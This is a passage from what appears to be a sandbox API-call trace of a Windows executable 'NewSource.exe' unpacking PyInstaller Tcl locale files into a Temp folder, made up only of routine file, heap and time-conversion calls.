lpMem=0x55d270 | out: hHeap=0x530000) returned 1 [0037.865] CloseHandle (hObject=0x10c) returned 1 [0037.866] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x550600 | out: hHeap=0x530000) returned 1 [0037.866] htonl (hostlong=0x30000000) returned 0x30 [0037.866] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x54bc40, cbMultiByte=-1, lpWideCharStr=0x4fcc18, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe") returned 65 [0037.866] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd70200, cbMultiByte=-1, lpWideCharStr=0x4fcc04, cchWideChar=10 | out: lpWideCharStr="rb") returned 3 [0037.866] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe" (normalized: "c:\\users\\fd1hvy\\desktop\\cusers777downloadsnewsourcenewsource.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x4fcabc, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0037.866] GetFileType (hFile=0x10c) returned 0x1 [0037.866] htonl (hostlong=0xedaf5700) returned 0x57afed [0037.866] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x5c5fed, lpNewFilePointer=0x0, dwMoveMethod=0x4fcd74 | out: lpNewFilePointer=0x0) returned 1 [0037.866] htonl (hostlong=0x1b010000) returned 0x11b [0037.866] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x11b) returned 0x550600 [0037.866] htonl (hostlong=0x1b010000) returned 0x11b [0037.866] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x55d270 [0037.866] ReadFile (in: hFile=0x10c, lpBuffer=0x55d270, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4fccfc, lpOverlapped=0x0 | out: lpBuffer=0x55d270*, lpNumberOfBytesRead=0x4fccfc*=0x1000, lpOverlapped=0x0) returned 1 [0037.866] htonl (hostlong=0xf0020000) returned 0x2f0 [0037.866] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x2f0) returned 0x550728 [0037.866] htonl (hostlong=0x1b010000) returned 0x11b [0037.866] htonl (hostlong=0xf0020000) returned 0x2f0 [0037.866] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1bcc) returned 0x560088 [0037.867] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x560088 | out: hHeap=0x530000) returned 1 [0037.867] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x550600 | out: hHeap=0x530000) returned 1 [0037.867] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x55d270 | out: hHeap=0x530000) returned 1 [0037.867] CloseHandle (hObject=0x10c) returned 1 [0037.867] GetLastError () returned 0x0 [0037.867] SetLastError (dwErrCode=0x0) [0037.867] GetLastError () returned 0x0 [0037.867] SetLastError (dwErrCode=0x0) [0037.867] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl") returned 49 [0037.867] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0037.867] GetFileType (hFile=0x10c) returned 0x1 [0037.867] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0037.867] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0037.867] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0037.867] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0037.867] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0037.867] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0037.867] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0037.867] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0037.867] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0037.867] CloseHandle (hObject=0x10c) returned 1 [0037.867] GetLastError () returned 0x0 [0037.867] SetLastError (dwErrCode=0x0) [0037.867] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\msgs") returned 54 [0037.867] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\msgs" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\msgs"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0037.868] GetFileType (hFile=0x10c) returned 0x1 [0037.868] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0037.868] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0037.868] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0037.868] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0037.868] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0037.868] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0037.868] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0037.868] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0037.868] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0037.868] CloseHandle (hObject=0x10c) returned 1 [0037.868] GetLastError () returned 0x0 [0037.868] SetLastError (dwErrCode=0x0) [0037.868] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\msgs\\zh_hk.msg") returned 64 [0037.868] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\msgs\\zh_hk.msg" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\msgs\\zh_hk.msg"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0xffffffff [0037.868] GetLastError () returned 0x2 [0037.868] SetLastError (dwErrCode=0x2) [0037.868] GetLastError () returned 0x2 [0037.868] SetLastError (dwErrCode=0x2) [0037.868] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\msgs\\zh_hk.msg", nBufferLength=0x104, lpBuffer=0x4f8b64, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\msgs\\zh_hk.msg", lpFilePart=0x0) returned 0x3f [0037.868] GetLastError () returned 0x2 [0037.868] SetLastError (dwErrCode=0x2) [0037.868] GetLastError () returned 0x2 [0037.868] SetLastError (dwErrCode=0x2) [0037.868] GetLastError () returned 0x2 [0037.868] SetLastError (dwErrCode=0x2) [0037.869] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4f8bd4, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\msgs\\zh_hk.msg") returned 64 [0037.869] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd715f8, cbMultiByte=-1, lpWideCharStr=0x4f8bc0, cchWideChar=10 | out: lpWideCharStr="wb") returned 3 [0037.869] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\msgs\\zh_hk.msg" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\msgs\\zh_hk.msg"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x4f8a78, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0037.869] GetFileType (hFile=0x10c) returned 0x1 [0037.869] htonl (hostlong=0xf0020000) returned 0x2f0 [0037.869] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x55d270 [0037.869] WriteFile (in: hFile=0x10c, lpBuffer=0x55d270*, nNumberOfBytesToWrite=0x2f0, lpNumberOfBytesWritten=0x4fcd6c, lpOverlapped=0x0 | out: lpBuffer=0x55d270*, lpNumberOfBytesWritten=0x4fcd6c*=0x2f0, lpOverlapped=0x0) returned 1 [0037.870] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x55d270 | out: hHeap=0x530000) returned 1 [0037.870] CloseHandle (hObject=0x10c) returned 1 [0037.871] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x550728 | out: hHeap=0x530000) returned 1 [0037.871] htonl (hostlong=0x30000000) returned 0x30 [0037.871] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x54bc40, cbMultiByte=-1, lpWideCharStr=0x4fcc18, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe") returned 65 [0037.871] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd70200, cbMultiByte=-1, lpWideCharStr=0x4fcc04, cchWideChar=10 | out: lpWideCharStr="rb") returned 3 [0037.871] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe" (normalized: "c:\\users\\fd1hvy\\desktop\\cusers777downloadsnewsourcenewsource.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x4fcabc, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0037.871] GetFileType (hFile=0x10c) returned 0x1 [0037.871] htonl (hostlong=0x8b15700) returned 0x57b108 [0037.871] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x5c6108, lpNewFilePointer=0x0, dwMoveMethod=0x4fcd74 | out: lpNewFilePointer=0x0) returned 1 [0037.871] htonl (hostlong=0xb6000000) returned 0xb6 [0037.871] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0xb6) returned 0x55cfe0 [0037.871] htonl (hostlong=0xb6000000) returned 0xb6 [0037.871] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x55d270 [0037.871] ReadFile (in: hFile=0x10c, lpBuffer=0x55d270, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4fccfc, lpOverlapped=0x0 | out: lpBuffer=0x55d270*, lpNumberOfBytesRead=0x4fccfc*=0x1000, lpOverlapped=0x0) returned 1 [0037.871] htonl (hostlong=0x53010000) returned 0x153 [0037.871] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x153) returned 0x550600 [0037.871] htonl (hostlong=0xb6000000) returned 0xb6 [0037.871] htonl (hostlong=0x53010000) returned 0x153 [0037.871] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1bcc) returned 0x560088 [0037.871] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x560088 | out: hHeap=0x530000) returned 1 [0037.871] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x55cfe0 | out: hHeap=0x530000) returned 1 [0037.871] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x55d270 | out: hHeap=0x530000) returned 1 [0037.871] CloseHandle (hObject=0x10c) returned 1 [0037.871] GetLastError () returned 0x0 [0037.871] SetLastError (dwErrCode=0x0) [0037.872] GetLastError () returned 0x0 [0037.872] SetLastError (dwErrCode=0x0) [0037.872] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl") returned 49 [0037.872] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0037.872] GetFileType (hFile=0x10c) returned 0x1 [0037.872] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0037.872] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0037.872] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0037.872] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0037.872] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0037.872] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0037.872] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0037.872] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0037.872] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0037.872] CloseHandle (hObject=0x10c) returned 1 [0037.872] GetLastError () returned 0x0 [0037.872] SetLastError (dwErrCode=0x0) [0037.872] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\msgs") returned 54 [0037.872] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\msgs" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\msgs"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0037.872] GetFileType (hFile=0x10c) returned 0x1 [0037.872] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0037.872] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0037.872] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0037.872] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0037.873] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0037.873] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0037.873] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0037.873] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0037.873] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0037.873] CloseHandle (hObject=0x10c) returned 1 [0037.873] GetLastError () returned 0x0 [0037.873] SetLastError (dwErrCode=0x0) [0037.873] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\msgs\\zh_sg.msg") returned 64 [0037.873] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\msgs\\zh_sg.msg" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\msgs\\zh_sg.msg"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0xffffffff [0037.873] GetLastError () returned 0x2 [0037.873] SetLastError (dwErrCode=0x2) [0037.873] GetLastError () returned 0x2 [0037.873] SetLastError (dwErrCode=0x2) [0037.873] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\msgs\\zh_sg.msg", nBufferLength=0x104, lpBuffer=0x4f8b64, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\msgs\\zh_sg.msg", lpFilePart=0x0) returned 0x3f [0037.873] GetLastError () returned 0x2 [0037.873] SetLastError (dwErrCode=0x2) [0037.873] GetLastError () returned 0x2 [0037.873] SetLastError (dwErrCode=0x2) [0037.873] GetLastError () returned 0x2 [0037.873] SetLastError (dwErrCode=0x2) [0037.873] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4f8bd4, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\msgs\\zh_sg.msg") returned 64 [0037.873] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd715f8, cbMultiByte=-1, lpWideCharStr=0x4f8bc0, cchWideChar=10 | out: lpWideCharStr="wb") returned 3 [0037.873] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\msgs\\zh_sg.msg" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\msgs\\zh_sg.msg"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x4f8a78, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0037.874] GetFileType (hFile=0x10c) returned 0x1 [0037.874] htonl (hostlong=0x53010000) returned 0x153 [0037.874] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x55d270 [0037.874] WriteFile (in: hFile=0x10c, lpBuffer=0x55d270*, nNumberOfBytesToWrite=0x153, lpNumberOfBytesWritten=0x4fcd6c, lpOverlapped=0x0 | out: lpBuffer=0x55d270*, lpNumberOfBytesWritten=0x4fcd6c*=0x153, lpOverlapped=0x0) returned 1 [0037.875] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x55d270 | out: hHeap=0x530000) returned 1 [0037.875] CloseHandle (hObject=0x10c) returned 1 [0037.875] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x550600 | out: hHeap=0x530000) returned 1 [0037.875] htonl (hostlong=0x30000000) returned 0x30 [0037.875] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x54bc40, cbMultiByte=-1, lpWideCharStr=0x4fcc18, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe") returned 65 [0037.875] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd70200, cbMultiByte=-1, lpWideCharStr=0x4fcc04, cchWideChar=10 | out: lpWideCharStr="rb") returned 3 [0037.875] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe" (normalized: "c:\\users\\fd1hvy\\desktop\\cusers777downloadsnewsourcenewsource.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x4fcabc, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0037.875] GetFileType (hFile=0x10c) returned 0x1 [0037.875] htonl (hostlong=0xbeb15700) returned 0x57b1be [0037.876] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x5c61be, lpNewFilePointer=0x0, dwMoveMethod=0x4fcd74 | out: lpNewFilePointer=0x0) returned 1 [0037.876] htonl (hostlong=0xbc000000) returned 0xbc [0037.876] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0xbc) returned 0x55cfe0 [0037.876] htonl (hostlong=0xbc000000) returned 0xbc [0037.876] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x55d270 [0037.876] ReadFile (in: hFile=0x10c, lpBuffer=0x55d270, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4fccfc, lpOverlapped=0x0 | out: lpBuffer=0x55d270*, lpNumberOfBytesRead=0x4fccfc*=0x1000, lpOverlapped=0x0) returned 1 [0037.876] htonl (hostlong=0x5a010000) returned 0x15a [0037.876] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x15a) returned 0x550600 [0037.876] htonl (hostlong=0xbc000000) returned 0xbc [0037.876] htonl (hostlong=0x5a010000) returned 0x15a [0037.876] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1bcc) returned 0x560088 [0037.876] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x560088 | out: hHeap=0x530000) returned 1 [0037.876] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x55cfe0 | out: hHeap=0x530000) returned 1 [0037.876] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x55d270 | out: hHeap=0x530000) returned 1 [0037.876] CloseHandle (hObject=0x10c) returned 1 [0037.876] GetLastError () returned 0x0 [0037.876] SetLastError (dwErrCode=0x0) [0037.876] GetLastError () returned 0x0 [0037.876] SetLastError (dwErrCode=0x0) [0037.876] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl") returned 49 [0037.877] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0037.877] GetFileType (hFile=0x10c) returned 0x1 [0037.877] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0037.877] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0037.877] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0037.877] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0037.877] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0037.877] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0037.877] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0037.877] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0037.877] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0037.877] CloseHandle (hObject=0x10c) returned 1 [0037.877] GetLastError () returned 0x0 [0037.877] SetLastError (dwErrCode=0x0) [0037.877] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\msgs") returned 54 [0037.877] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\msgs" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\msgs"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0037.877] GetFileType (hFile=0x10c) returned 0x1 [0037.877] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0037.877] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 